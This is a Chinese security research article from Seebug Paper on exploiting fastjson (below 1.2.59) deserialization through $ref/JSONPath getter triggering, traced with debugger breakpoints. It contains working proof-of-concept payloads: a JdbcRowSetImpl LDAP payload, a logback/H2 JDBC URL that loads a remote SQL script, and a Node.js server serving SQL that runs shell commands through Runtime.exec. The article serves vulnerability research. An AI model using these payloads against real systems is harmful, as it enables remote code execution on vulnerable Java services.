作者:lxraa
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送!
投稿邮箱:[email protected]
反序列化的过程是把字符串映射成java类的过程,过程为①调用无参构造方法new一个java类;②通过反射的方式调用类的set方法设置字段。因此比较好用的poc一般是利用非纯set方法里的危险操作触发,例如JdbcRowSetImpl poc:
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}"
JSON.parse(poc);
利用了com.sun.rowset.JdbcRowSetImpl的非纯set方法setAutoCommit:
...
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
...
而利用getXXX方法的poc一般利用难度较大,需要先将输入反序列化,再序列化才能触发,如网上流传较广的jackson ch.qos.logback.core.db.DriverManagerConnectionSource poc:
String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Object o = mapper.readValue(payload, Object.class);//反序列化
String s = mapper.writeValueAsString(o);//序列化
因此比较难找到实际使用场景 以下讨论一种利用fastjson的特性,构造poc,从而利用非纯get函数构造可用性较高的poc的方法
ref,value为JSONPath语法的方式引用之前出现的对象,例如:
//类的定义:
public class Test {
private Integer id;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
}
//反序列化代码:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0]\"}]"; //数组的第二个元素引用数组的第一个元素
Object o = JSON.parse(s);
...
序列化后的类如图所示:
https://goessner.net/articles/JsonPath/
JSONPath是为了在json中定位子元素的一种语言,具体语法规则网上较多,不做赘述。fastjson支持JSONPath
public class Test {
private Integer id;
public Integer getId() {
//此处下断点
System.out.println("getid");
return id;
}
public void setId(Integer id) {
this.id = id;
}
}
//反序列化代码:
...
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.lxraa.serialize.fastjson.Test\",\"id\":123},{\"$ref\":\"$[0].id\"}]"; //引用数组第一个对象的id属性,会触发getId方法
Object o = JSON.parse(s);
...
这就是poc的构造原理
java poc:
// 该poc < fastjson 1.2.59 可用
// 参考 https://github.com/LeadroyaL/fastjson-blacklist/blob/766f7c546d2698ab37cd304644d113e186143da2/readme.md
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String refPayload = "[{\"@type\":\"ch.qos.logback.core.db.DriverManagerConnectionSource\",\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:3000/test.sql'\"},{$ref:\"$[0].connection\"}]";
Object o = JSON.parse(refPayload);
server(nodejs):
const express = require("express")
const fs = require("fs")
const app = express()
app.get("/test.sql",function(req,res){
res.send(`
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc.exe')
`)
})
app.listen(3000,function(){
console.log("listening 3000...")
})
该poc利用了h2库支持远程加载脚本的特性,触发点在org.h2.engine.FunctionAlias.getValue,poc本身的调用链不在本文讨论的范围内,以下讨论fastjson环境下该poc是如何生效的 断点下载com.alibaba.fastjson.JSON : line 165(fastjson版本1.2.58)
DefaultJSONParser parser = new DefaultJSONParser(text, config, features);
Object value = parser.parse(); //反序列化关键逻辑类解析,set方法在这里调用
parser.handleResovleTask(value);//处理$ref
parser.close();
跟进handleResovleTask:
if (ref.startsWith("$")) {
refValue = getObject(ref);
if (refValue == null) {
try {
refValue = JSONPath.eval(value, ref); //解析$ref
} catch (JSONPathException ex) {
// skip
}
}
}
第二个断点下在com.alibaba.fastjson.JSONPath : line 1634 explain函数 这个函数的作用是把$ref的value解析成segment,Segment是定义在JSONPath类的一个interface,实现类有:
explain()会把一个完整的JSONPath拆分成小的处理逻辑,Segment接口即处理单元
public Segment[] explain() {
if (path == null || path.length() == 0) {
throw new IllegalArgumentException();
}
Segment[] segments = new Segment[8];
for (;;) {
Segment segment = readSegement();
if (segment == null) {
break;
}
if (segment instanceof PropertySegment) {
PropertySegment propertySegment = (PropertySegment) segment;
if ((!propertySegment.deep) && propertySegment.propertyName.equals("*")) {
continue;
}
}
if (level == segments.length) {
Segment[] t = new Segment[level * 3 / 2];
System.arraycopy(segments, 0, t, 0, level);
segments = t;
}
segments[level++] = segment;
}
if (level == segments.length) {
return segments;
}
Segment[] result = new Segment[level];
System.arraycopy(segments, 0, result, 0, level);
//返回一个Segment的Array,后面顺序执行每个Segment
return result;
}
第三个断点下在com.alibaba.fastjson.JSONPath : line 74 eval函数,这里顺序执行前面explain生成的segment array
public Object eval(Object rootObject) {
if (rootObject == null) {
return null;
}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {
Segment segment = segments[i];
// rootObject:json字符串经parseObject解析后的对象
currentObject = segment.eval(this, rootObject, currentObject);
}
return currentObject;
}
第四个断点下在com.alibaba.fastjson.util.FieldInfo: line 491 get函数
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
// 通过method.invoke触发get方法
? method.invoke(javaObject)
: field.get(javaObject);
}
触发效果:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1613/